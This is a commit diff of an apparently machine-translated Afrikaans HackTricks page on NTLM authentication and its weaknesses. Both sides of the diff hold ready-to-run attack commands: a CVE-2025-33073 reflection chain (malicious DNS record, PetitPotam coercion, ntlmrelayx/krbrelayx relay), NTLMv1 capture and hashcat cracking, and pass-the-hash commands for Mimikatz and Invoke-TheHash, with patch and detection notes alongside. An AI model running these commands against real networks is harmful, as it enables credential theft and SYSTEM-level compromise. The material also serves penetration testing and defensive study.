Translated ['src/windows-hardening/ntlm/README.md'] to af

This commit is contained in:
Translator 2025-07-17 09:37:54 +00:00
parent d0ceee7194
commit 8517c49714

View File

@ -2,70 +2,25 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## NTLM & Kerberos *Reflection* via Serialized SPNs (CVE-2025-33073)
Windows bevat verskeie versagings wat probeer om *reflection* aanvalle te voorkom waar 'n NTLM (of Kerberos) verifikasie wat van 'n gasheer afkomstig is, teruggestuur word na die **dieselfde** gasheer om SYSTEM regte te verkry. ## Basiese Inligting
Microsoft het die meeste openbare kettings gebroke met MS08-068 (SMB→SMB), MS09-013 (HTTP→SMB), MS15-076 (DCOM→DCOM) en latere patches, egter **CVE-2025-33073** wys dat die beskermings steeds omseil kan word deur te misbruik hoe die **SMB-klient diens-prinsipale name (SPNs)** wat *gemarshalled* (geserialiseer) teiken-inligting bevat, afgekort word. In omgewings waar **Windows XP en Server 2003** in werking is, word LM (Lan Manager) hashes gebruik, alhoewel dit algemeen erken word dat hierdie maklik gekompromitteer kan word. 'n Spesifieke LM hash, `AAD3B435B51404EEAAD3B435B51404EE`, dui op 'n scenario waar LM nie gebruik word nie, wat die hash vir 'n leë string verteenwoordig.
### TL;DR van die fout Standaard is die **Kerberos** verifikasieprotokol die primêre metode wat gebruik word. NTLM (NT LAN Manager) tree in onder spesifieke omstandighede in: afwesigheid van Active Directory, nie-bestaande domein, wanfunksionering van Kerberos weens onvanpaste konfigurasie, of wanneer verbindings probeer word met 'n IP-adres eerder as 'n geldige hostname.
1. 'n Aanvaller registreer 'n **DNS A-record** waarvan die etiket 'n gemarshalled SPN kodeer bv.
`srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA → 10.10.10.50`
2. Die slagoffer word gedwing om te verifieer by daardie gasheernaam (PetitPotam, DFSCoerce, ens.).
3. Wanneer die SMB-klient die teikenstring `cifs/srv11UWhRCAAAAA…` aan `lsasrv!LsapCheckMarshalledTargetInfo` oorhandig, verwyder die oproep na `CredUnmarshalTargetInfo` die geserialiseerde blob, wat **`cifs/srv1`** laat.
4. `msv1_0!SspIsTargetLocalhost` (of die Kerberos ekwivalent) beskou nou die teiken as *localhost* omdat die kort gasheerdeel ooreenstem met die rekenaarnaam (`SRV1`).
5. Gevolglik stel die bediener `NTLMSSP_NEGOTIATE_LOCAL_CALL` en inspuit **LSASS se SYSTEM toegangstoken** in die konteks (vir Kerberos word 'n SYSTEM-gemerk subsessie-sleutel geskep).
6. Die verplasing van daardie verifikasie met `ntlmrelayx.py` **of** `krbrelayx.py` gee volle SYSTEM regte op dieselfde gasheer.
### Quick PoC Die teenwoordigheid van die **"NTLMSSP"** kop in netwerkpakkette dui op 'n NTLM verifikasieproses.
```bash
# Add malicious DNS record
dnstool.py -u 'DOMAIN\\user' -p 'pass' 10.10.10.1 \
-a add -r srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA \
-d 10.10.10.50
# Trigger authentication
PetitPotam.py -u user -p pass -d DOMAIN \
srv11UWhRCAAAAAAAAAAAAAAAAA… TARGET.DOMAIN.LOCAL
# Relay listener (NTLM)
ntlmrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support
# Relay listener (Kerberos) remove NTLM mechType first
krbrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support
```
### Patch & Mitigations
* KB-patch vir **CVE-2025-33073** voeg 'n kontrole by in `mrxsmb.sys::SmbCeCreateSrvCall` wat enige SMB-verbinding blokkeer waarvan die teiken gemarshalled inligting bevat (`CredUnmarshalTargetInfo``STATUS_INVALID_PARAMETER`).
* Handhaaf **SMB-handtekening** om refleksie te voorkom, selfs op nie-gepatchte gasheer.
* Monitor DNS-rekords wat lyk soos `*<base64>...*` en blokkeer dwingingsvektore (PetitPotam, DFSCoerce, AuthIP...).
### Detection ideas
* Netwerkvangste met `NTLMSSP_NEGOTIATE_LOCAL_CALL` waar kliënt IP ≠ bediener IP.
* Kerberos AP-REQ wat 'n subsessie-sleutel bevat en 'n kliënt-prinsipaal gelyk aan die gasheernaam.
* Windows Event 4624/4648 SISTEEM-aanmeldings wat onmiddellik gevolg word deur afstands-SMB-skrywe vanaf dieselfde gasheer.
## References
* [Synacktiv NTLM Reflection is Dead, Long Live NTLM Reflection!](https://www.synacktiv.com/en/publications/la-reflexion-ntlm-est-morte-vive-la-reflexion-ntlm-analyse-approfondie-de-la-cve-2025.html)
* [MSRC CVE-2025-33073](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-33073)
## Basic Information
In omgewings waar **Windows XP en Server 2003** in werking is, word LM (Lan Manager) hashes gebruik, alhoewel dit algemeen erken word dat hierdie maklik gecompromitteer kan word. 'n Spesifieke LM-hash, `AAD3B435B51404EEAAD3B435B51404EE`, dui op 'n scenario waar LM nie gebruik word nie, wat die hash vir 'n leë string verteenwoordig.
Standaard is die **Kerberos** verifikasieprotokol die primêre metode wat gebruik word. NTLM (NT LAN Manager) tree in onder spesifieke omstandighede in: afwesigheid van Active Directory, nie-bestaande domein, wanfunksionering van Kerberos weens onjuiste konfigurasie, of wanneer verbindings probeer word met 'n IP-adres eerder as 'n geldige gasheernaam.
Die teenwoordigheid van die **"NTLMSSP"** kop in netwerkpakkette dui op 'n NTLM-verifikasieproses.
Ondersteuning vir die verifikasieprotokolle - LM, NTLMv1, en NTLMv2 - word gefasiliteer deur 'n spesifieke DLL geleë by `%windir%\Windows\System32\msv1\_0.dll`. Ondersteuning vir die verifikasieprotokolle - LM, NTLMv1, en NTLMv2 - word gefasiliteer deur 'n spesifieke DLL geleë by `%windir%\Windows\System32\msv1\_0.dll`.
**Key Points**: **Belangrike Punten**:
- LM-hashes is kwesbaar en 'n leë LM-hash (`AAD3B435B51404EEAAD3B435B51404EE`) dui op sy nie-gebruik. - LM hashes is kwesbaar en 'n leë LM hash (`AAD3B435B51404EEAAD3B435B51404EE`) dui op sy nie-gebruik.
- Kerberos is die standaard verifikasiemetode, met NTLM slegs onder sekere toestande gebruik. - Kerberos is die standaard verifikasie metode, met NTLM wat slegs onder sekere toestande gebruik word.
- NTLM-verifikasiepakkette is identifiseerbaar deur die "NTLMSSP" kop. - NTLM verifikasie pakkette is identifiseerbaar deur die "NTLMSSP" kop.
- LM, NTLMv1, en NTLMv2 protokolle word deur die stelselfil `msv1\_0.dll` ondersteun. - LM, NTLMv1, en NTLMv2 protokolle word deur die stelselfil `msv1\_0.dll` ondersteun.
## LM, NTLMv1 and NTLMv2 ## LM, NTLMv1 en NTLMv2
Jy kan nagaan en konfigureer watter protokol gebruik sal word: Jy kan nagaan en konfigureer watter protokol gebruik sal word:
@ -75,7 +30,7 @@ Voer _secpol.msc_ uit -> Plaaslike beleide -> Sekuriteitsopsies -> Netwerksekuri
![](<../../images/image (919).png>) ![](<../../images/image (919).png>)
### Registry ### Registrasie
Dit sal vlak 5 stel: Dit sal vlak 5 stel:
``` ```
@ -101,7 +56,7 @@ Mogelijke waardes:
Die **bediener** en die **Domeinbeheerder** kan 'n **Veilige Kanaal** skep via **Netlogon** bediener aangesien die Domeinbeheerder die wagwoord van die bediener ken (dit is binne die **NTDS.DIT** db). Die **bediener** en die **Domeinbeheerder** kan 'n **Veilige Kanaal** skep via **Netlogon** bediener aangesien die Domeinbeheerder die wagwoord van die bediener ken (dit is binne die **NTDS.DIT** db).
### Plaaslike NTLM verifikasie Skema ### Lokale NTLM verifikasie Skema
Die verifikasie is soos die een genoem **voorheen maar** die **bediener** ken die **hash van die gebruiker** wat probeer om binne die **SAM** lêer te verifieer. So, in plaas daarvan om die Domeinbeheerder te vra, sal die **bediener self nagaan** of die gebruiker kan verifieer. Die verifikasie is soos die een genoem **voorheen maar** die **bediener** ken die **hash van die gebruiker** wat probeer om binne die **SAM** lêer te verifieer. So, in plaas daarvan om die Domeinbeheerder te vra, sal die **bediener self nagaan** of die gebruiker kan verifieer.
@ -114,20 +69,20 @@ Die **hash NT (16bytes)** is verdeel in **3 dele van 7bytes elk** (7B + 7B + (2B
**Probleme**: **Probleme**:
- Gebrek aan **ewekansigheid** - Gebrek aan **ewekansigheid**
- Die 3 dele kan **afsonderlik aangeval** word om die NT hash te vind - Die 3 dele kan **afgeval word** om die NT hash te vind
- **DES is kraakbaar** - **DES is kraakbaar**
- Die 3º sleutel bestaan altyd uit **5 nulles**. - Die 3º sleutel bestaan altyd uit **5 nulles**.
- Gegewe die **dieselfde uitdaging** sal die **antwoord** **dieselfde** wees. So, jy kan as 'n **uitdaging** aan die slagoffer die string "**1122334455667788**" gee en die antwoord aanval met **voorberekende reënboogtafels**. - Gegewe die **dieselfde uitdaging** sal die **antwoord** **dieselfde** wees. So, jy kan as 'n **uitdaging** aan die slagoffer die string "**1122334455667788**" gee en die antwoord aanval met **vooraf berekende reënboogtafels**.
### NTLMv1 aanval ### NTLMv1 aanval
Tans word dit al minder algemeen om omgewings met Onbeperkte Delegasie geconfigureer te vind, maar dit beteken nie dat jy nie 'n **Print Spooler diens** wat geconfigureer is kan **misbruik** nie. Tans word dit al minder algemeen om omgewings met Onbeperkte Afvaardiging geconfigureer te vind, maar dit beteken nie dat jy nie 'n **Druk Spooler diens** kan misbruik nie.
Jy kan sommige bewese/sessies wat jy reeds op die AD het misbruik om die **drukker te vra om te verifieer** teen 'n **gasheer onder jou beheer**. Dan, met behulp van `metasploit auxiliary/server/capture/smb` of `responder` kan jy die **verifikasie uitdaging stel na 1122334455667788**, die verifikasie poging vang, en as dit gedoen is met **NTLMv1** sal jy in staat wees om dit te **kraak**.\ Jy kan sommige bewese/sessies wat jy reeds op die AD het misbruik om die **drukker te vra om te verifieer** teen 'n **gasheer onder jou beheer**. Dan, met behulp van `metasploit auxiliary/server/capture/smb` of `responder` kan jy die **verifikasie uitdaging stel na 1122334455667788**, die verifikasie poging vang, en as dit gedoen is met **NTLMv1** sal jy in staat wees om dit te **kraak**.\
As jy `responder` gebruik, kan jy probeer om die vlag `--lm` te **gebruik** om te probeer om die **verifikasie** te **verlaag**.\ As jy `responder` gebruik, kan jy probeer om die vlag `--lm` te gebruik om te probeer om die **verifikasie** te **verlaag**.\
_Nota dat vir hierdie tegniek die verifikasie moet uitgevoer word met NTLMv1 (NTLMv2 is nie geldig nie)._ _Nota dat vir hierdie tegniek die verifikasie moet gedoen word met NTLMv1 (NTLMv2 is nie geldig nie)._
Onthou dat die drukker die rekenaarrekening tydens die verifikasie sal gebruik, en rekenaarrekeninge gebruik **lange en ewekansige wagwoorde** wat jy **waarskynlik nie sal kan kraak** met algemene **woordeboeke**. Maar die **NTLMv1** verifikasie **gebruik DES** ([meer inligting hier](#ntlmv1-challenge)), so deur sommige dienste wat spesifiek toegewy is aan die kraak van DES sal jy in staat wees om dit te kraak (jy kan [https://crack.sh/](https://crack.sh) of [https://ntlmv1.com/](https://ntlmv1.com) byvoorbeeld gebruik). Onthou dat die drukker die rekenaarrekening tydens die verifikasie sal gebruik, en rekenaarrekeninge gebruik **lange en ewekansige wagwoorde** wat jy **waarskynlik nie sal kan kraak** met algemene **woordeboeke**. Maar die **NTLMv1** verifikasie **gebruik DES** ([meer inligting hier](#ntlmv1-challenge)), so deur sommige dienste wat spesiaal toegewy is aan die kraak van DES sal jy in staat wees om dit te kraak (jy kan [https://crack.sh/](https://crack.sh) of [https://ntlmv1.com/](https://ntlmv1.com) byvoorbeeld gebruik).
### NTLMv1 aanval met hashcat ### NTLMv1 aanval met hashcat
@ -172,7 +127,7 @@ Voer hashcat uit (verspreid is die beste deur 'n hulpmiddel soos hashtopolis) aa
```bash ```bash
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1 ./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1
``` ```
In hierdie geval weet ons die wagwoord hiervoor is wagwoord, so ons gaan vals speel vir demonstrasiedoeleindes: In hierdie geval weet ons die wagwoord hiervoor is wagwoord, so ons gaan bedrieg vir demonstrasiedoeleindes:
```bash ```bash
python ntlm-to-des.py --ntlm b4b9b02e6f09a9bd760f388b67351e2b python ntlm-to-des.py --ntlm b4b9b02e6f09a9bd760f388b67351e2b
DESKEY1: b55d6d04e67926 DESKEY1: b55d6d04e67926
@ -212,9 +167,9 @@ As jy 'n **pcap het wat 'n suksesvolle outentikasieproses vasgevang het**, kan j
## Pass-the-Hash ## Pass-the-Hash
**Sodra jy die hash van die slagoffer het**, kan jy dit gebruik om **te verteenwoordig**.\ **Sodra jy die hash van die slagoffer het**, kan jy dit gebruik om **te verteenwoordig**.\
Jy moet 'n **instrument** gebruik wat die **NTLM outentikasie met** daardie **hash** sal **uitvoer** of jy kan 'n nuwe **sessielogin** skep en daardie **hash** binne die **LSASS** **inspuit**, sodat wanneer enige **NTLM outentikasie uitgevoer word**, daardie **hash gebruik sal word.** Die laaste opsie is wat mimikatz doen. Jy moet 'n **instrument** gebruik wat die **NTLM outentikasie** met daardie **hash** sal **uitvoer**, **of** jy kan 'n nuwe **sessielogin** skep en daardie **hash** binne die **LSASS** **inspuit**, sodat wanneer enige **NTLM outentikasie uitgevoer word**, daardie **hash gebruik sal word.** Die laaste opsie is wat mimikatz doen.
**Asseblief, onthou dat jy ook Pass-the-Hash-aanvalle kan uitvoer met rekenaarrekeninge.** **Asseblief, onthou dat jy ook Pass-the-Hash aanvalle kan uitvoer met rekenaarrekeninge.**
### **Mimikatz** ### **Mimikatz**
@ -222,7 +177,7 @@ Jy moet 'n **instrument** gebruik wat die **NTLM outentikasie met** daardie **ha
```bash ```bash
Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm:NTLMhash /run:powershell.exe"' Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm:NTLMhash /run:powershell.exe"'
``` ```
Dit sal 'n proses begin wat behoort aan die gebruikers wat mimikatz geloods het, maar intern in LSASS is die gestoor geloofsbriewe diegene binne die mimikatz parameters. Dan kan jy toegang tot netwerkbronne verkry asof jy daardie gebruiker was (soortgelyk aan die `runas /netonly` truuk, maar jy hoef nie die platte teks wagwoord te ken nie). Dit sal 'n proses begin wat behoort aan die gebruikers wat mimikatz geloods het, maar intern in LSASS is die gestoor kredensiale diegene binne die mimikatz parameters. Dan kan jy toegang tot netwerkbronne verkry asof jy daardie gebruiker was (soortgelyk aan die `runas /netonly` truuk, maar jy hoef nie die platte teks wagwoord te ken nie).
### Pass-the-Hash van linux ### Pass-the-Hash van linux
@ -260,7 +215,7 @@ Invoke-SMBEnum -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff
``` ```
#### Invoke-TheHash #### Invoke-TheHash
Hierdie funksie is 'n **mengsel van al die ander**. Jy kan **verskeie gasheer** deurgee, **uitsluit** sommige en **kies** die **opsie** wat jy wil gebruik (_SMBExec, WMIExec, SMBClient, SMBEnum_). As jy **enige** van **SMBExec** en **WMIExec** kies, maar jy **gee nie** enige _**Command**_ parameter nie, sal dit net **kontroleer** of jy **genoeg regte** het. Hierdie funksie is 'n **mengsel van al die ander**. Jy kan **verskeie gasheer** deurgee, **uitsluit** sommige en die **opsie** kies wat jy wil gebruik (_SMBExec, WMIExec, SMBClient, SMBEnum_). As jy **enige** van **SMBExec** en **WMIExec** kies, maar jy **gee nie** enige _**Command**_ parameter nie, sal dit net **kontroleer** of jy **genoeg regte** het.
``` ```
Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100.50 -Username Administ -ty h F6F38B793DB6A94BA04A52F1D3EE92F0 Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100.50 -Username Administ -ty h F6F38B793DB6A94BA04A52F1D3EE92F0
``` ```
@ -292,7 +247,7 @@ Nadat hierdie NetNTLMv1-antwoorde vasgevang is, kan die aanvaller vinnig die oor
As NetNTLMv1 nie aanvaar word nie—vanweë afgedwonge sekuriteitsbeleide, kan die aanvaller dalk nie 'n NetNTLMv1-antwoord verkry nie. As NetNTLMv1 nie aanvaar word nie—vanweë afgedwonge sekuriteitsbeleide, kan die aanvaller dalk nie 'n NetNTLMv1-antwoord verkry nie.
Om hierdie geval te hanteer, is die Interne Monoloog-gereedskap opgedateer: Dit verkry dinamies 'n bediener-token met behulp van `AcceptSecurityContext()` om steeds **NetNTLMv2-antwoorde te vang** as NetNTLMv1 misluk. Terwyl NetNTLMv2 baie moeiliker is om te kraak, maak dit steeds 'n pad oop vir relay-aanvalle of offline brute-force in beperkte gevalle. Om hierdie geval te hanteer, is die Interne Monoloog-gereedskap opgedateer: Dit verkry dinamies 'n bediener-token met behulp van `AcceptSecurityContext()` om steeds **NetNTLMv2-antwoorde te vang** as NetNTLMv1 misluk. Terwyl NetNTLMv2 baie moeiliker is om te kraak, open dit steeds 'n pad vir relay-aanvalle of offline brute-force in beperkte gevalle.
Die PoC kan gevind word in **[https://github.com/eladshamir/Internal-Monologue](https://github.com/eladshamir/Internal-Monologue)**. Die PoC kan gevind word in **[https://github.com/eladshamir/Internal-Monologue](https://github.com/eladshamir/Internal-Monologue)**.
@ -301,7 +256,7 @@ Die PoC kan gevind word in **[https://github.com/eladshamir/Internal-Monologue](
**Lees 'n meer gedetailleerde gids oor hoe om hierdie aanvalle hier uit te voer:** **Lees 'n meer gedetailleerde gids oor hoe om hierdie aanvalle hier uit te voer:**
{{#ref}} {{#ref}}
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md ../../generic-methodologies-and-resources/pentesting-network/`spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md`
{{#endref}} {{#endref}}
## Ontleed NTLM-uitdagings uit 'n netwerkopname ## Ontleed NTLM-uitdagings uit 'n netwerkopname
@ -317,13 +272,13 @@ Microsoft het die meeste openbare kettings gebroke met MS08-068 (SMB→SMB), MS0
### TL;DR van die fout ### TL;DR van die fout
1. 'n Aanvaller registreer 'n **DNS A-record** waarvan die etiket 'n gemarshalled SPN kodeer bv. 1. 'n Aanvaller registreer 'n **DNS A-record** waarvan die etiket 'n gemarshalled SPN kodeer bv.
`srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA → 10.10.10.50` `srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA → 10.10.10.50`
2. Die slagoffer word gedwing om by daardie hostname te autentiseer (PetitPotam, DFSCoerce, ens.). 2. Die slagoffer word gedwing om te autentiseer by daardie hostname (PetitPotam, DFSCoerce, ens.).
3. Wanneer die SMB-klient die teiken-string `cifs/srv11UWhRCAAAAA…` aan `lsasrv!LsapCheckMarshalledTargetInfo` oorhandig, verwyder die oproep na `CredUnmarshalTargetInfo` die geserialiseerde blob, wat **`cifs/srv1`** laat. 3. Wanneer die SMB-klient die teiken-string `cifs/srv11UWhRCAAAAA…` aan `lsasrv!LsapCheckMarshalledTargetInfo` oorhandig, verwyder die oproep na `CredUnmarshalTargetInfo` die geserialiseerde blob, wat **`cifs/srv1`** agterlaat.
4. `msv1_0!SspIsTargetLocalhost` (of die Kerberos ekwivalent) beskou nou die teiken as *localhost* omdat die kort gasheerdeel ooreenstem met die rekenaarnaam (`SRV1`). 4. `msv1_0!SspIsTargetLocalhost` (of die Kerberos ekwivalent) beskou nou die teiken as *localhost* omdat die kort gasheerdeel met die rekenaarnaam (`SRV1`) ooreenstem.
5. Gevolglik stel die bediener `NTLMSSP_NEGOTIATE_LOCAL_CALL` in en inspuit **LSASS se SYSTEM-toegang-token** in die konteks (vir Kerberos word 'n SYSTEM-gemerk subsessie-sleutel geskep). 5. Gevolglik stel die bediener `NTLMSSP_NEGOTIATE_LOCAL_CALL` in en inspuit **LSASS se SYSTEM-toegang-token** in die konteks (vir Kerberos word 'n SYSTEM-gemerk subsessie-sleutel geskep).
6. Die oordrag van daardie authentikasie met `ntlmrelayx.py` **of** `krbrelayx.py` gee volle SYSTEM-regte op dieselfde gasheer. 6. Die oordrag van daardie authentikasie met `ntlmrelayx.py` **of** `krbrelayx.py` gee volle SYSTEM-regte op dieselfde gasheer.
### Vinnige PoC ### Vinige PoC
```bash ```bash
# Add malicious DNS record # Add malicious DNS record
dnstool.py -u 'DOMAIN\\user' -p 'pass' 10.10.10.1 \ dnstool.py -u 'DOMAIN\\user' -p 'pass' 10.10.10.1 \
@ -341,14 +296,14 @@ ntlmrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support
krbrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support krbrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support
``` ```
### Patch & Mitigations ### Patch & Mitigations
* KB-patch vir **CVE-2025-33073** voeg 'n kontrole by in `mrxsmb.sys::SmbCeCreateSrvCall` wat enige SMB-verbinding blokkeer waarvan die teiken gemarshalleerde inligting bevat (`CredUnmarshalTargetInfo``STATUS_INVALID_PARAMETER`). * KB-patch vir **CVE-2025-33073** voeg 'n kontrole by in `mrxsmb.sys::SmbCeCreateSrvCall` wat enige SMB-verbinding blokkeer waarvan die teiken gemarshalled inligting bevat (`CredUnmarshalTargetInfo``STATUS_INVALID_PARAMETER`).
* Handhaaf **SMB-handtekening** om refleksie te voorkom, selfs op nie-gepatchte gasheer. * Handhaaf **SMB-handtekening** om refleksie te voorkom, selfs op nie-gepatchte gasheer.
* Monitor DNS-rekords wat lyk soos `*<base64>...*` en blokkeer dwingingsvektore (PetitPotam, DFSCoerce, AuthIP...). * Monitor DNS-rekords wat lyk soos `*<base64>...*` en blokkeer dwingingsvektore (PetitPotam, DFSCoerce, AuthIP...).
### Detection ideas ### Detection ideas
* Netwerkvangste met `NTLMSSP_NEGOTIATE_LOCAL_CALL` waar kliënt IP ≠ bediener IP. * Netwerkvangste met `NTLMSSP_NEGOTIATE_LOCAL_CALL` waar kliënt IP ≠ bediener IP.
* Kerberos AP-REQ wat 'n subsessie-sleutel bevat en 'n kliënt-prinsipaal gelyk aan die gasheernaam. * Kerberos AP-REQ wat 'n subsessie-sleutel bevat en 'n kliënt-prinsipaal gelyk aan die gasheernaam.
* Windows Event 4624/4648 SISTEEM-aanmeldings wat onmiddellik gevolg word deur afstand SMB-skrywe vanaf dieselfde gasheer. * Windows Event 4624/4648 SISTEEM-aanmeldings wat onmiddellik gevolg word deur afstands-SMB-skrywe vanaf dieselfde gasheer.
## References ## References
* [Synacktiv NTLM Reflection is Dead, Long Live NTLM Reflection!](https://www.synacktiv.com/en/publications/la-reflexion-ntlm-est-morte-vive-la-reflexion-ntlm-analyse-approfondie-de-la-cve-2025.html) * [Synacktiv NTLM Reflection is Dead, Long Live NTLM Reflection!](https://www.synacktiv.com/en/publications/la-reflexion-ntlm-est-morte-vive-la-reflexion-ntlm-analyse-approfondie-de-la-cve-2025.html)